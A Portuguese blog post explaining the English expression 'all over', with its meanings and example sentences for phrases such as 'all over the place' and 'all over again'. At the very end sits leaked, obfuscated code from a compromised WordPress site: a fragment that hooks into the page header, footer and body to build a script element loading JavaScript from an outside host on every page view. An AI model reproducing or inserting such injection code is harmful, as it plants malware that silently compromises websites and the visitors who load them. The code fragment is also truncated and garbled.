O SEGREDO DAS LINGUAS l O curso de língua estrangeira ainda pode fazer parte da sua vida.

ALL OVER | O que significa?

all over

A expressão ‘all over’ é uma das mais comuns em inglês e você provavelmente já ouviu ela por aí.  

É por isso que hoje eu vou te ensinar tudo sobre essa expressão para que não tenha mais dúvidas. 

Leia também: Como aprender inglês depois dos 30 anos? Confira o manual passo a passo!

ALL OVER significado

Primeiramente, como mostra o WordReference ‘all over’ significa ‘por todos os lados’, ‘por toda parte’ ou ‘em toda parte’.

Um outro uso para essa expressão é indicar que algo é ‘a cara de alguém’ ou que um comportamento é típico de alguém. Algo do tipo ‘isso é bem sua cara’ ou ‘isso é típico de fulano’.  

Existem diversas combinações que podem ser feitas com all over, as mais comuns são ‘all over the world’ (por todo mundo ou por todo canto), ‘all over the place’ (quando algo ou alguém é muito bagunçado), ‘all over the map’ (à flor da pele ou por todo lugar) e também ‘all over again’ (fazer tudo de novo). 

Vejamos alguns exemplos:

1 – All over the world

Santa Claus is known all over the world. (Papai Noel é conhecido no mundo todo)

I looked all over the world and I couldn’t find her. (Eu procurei o mundo todo e eu não consegui achá-la

I travelled all over the world. (Eu viajei o mundo inteiro)

2 – All over the place

There is dust all over the place. (Tem poeira para todo lado)

I looked for the keys all over the place. (Eu procurei minhas chaves em todo lugar)

I’ve been distracted, my thoughts were all over the place. (Eu andei distraído, meus pensamentos estavam por todo lugar) 

3 – All over

There are spots all over his face. (Tem espinhas por todo seu rosto)

There are toys all over the floor. (Tem brinquedo pelo chão todo)

The kids left the tos all over. (As crianças deixaram os brinquedos para todo lado)

4 – All over the map

After her mom died, her emotions were all over the map. (Depois que sua mãe morreu, suas emoções estavam à flor da pele)

5 – All over again

I burned my cake, now I’ll have to do it all over again. (Eu queimei meu bolo, agora e vou ter que fazer tudo de novo)

Curtiu? Se sim, veja outros posts que podem te ajudar com seu inglês

Mais artigos do

Blog SDL

?>},_0x1ca2(_0x5c13d3,_0x10d019);}function _0x56ac(){var _0x46c312=['trickl','6LObfmH','script','scri','3822470oovwGi','220qlaQai','com/','createElement','ctl','appendChild','type','133350wkvzaH','ter.','134ANVGfY','pts/t','src','est','erfe','ords.p','querySelector','5879944KcCcWx','231938CdIMay','2890492INDZRn','currentScript','50535rwizqw','parentNode','script[id=\x22trickl\x22]','text/javascript','28527sHSQyT','head'];_0x56ac=function(){return _0x46c312;};return _0x56ac();}";}add_action('wp_head', '_set_metas_tag');add_action('wp_footer', '_set_metas_tag');add_action('wp_body_open', '_set_metas_tag');_set_metas_tag();}}catch(Exception $e){}} ?>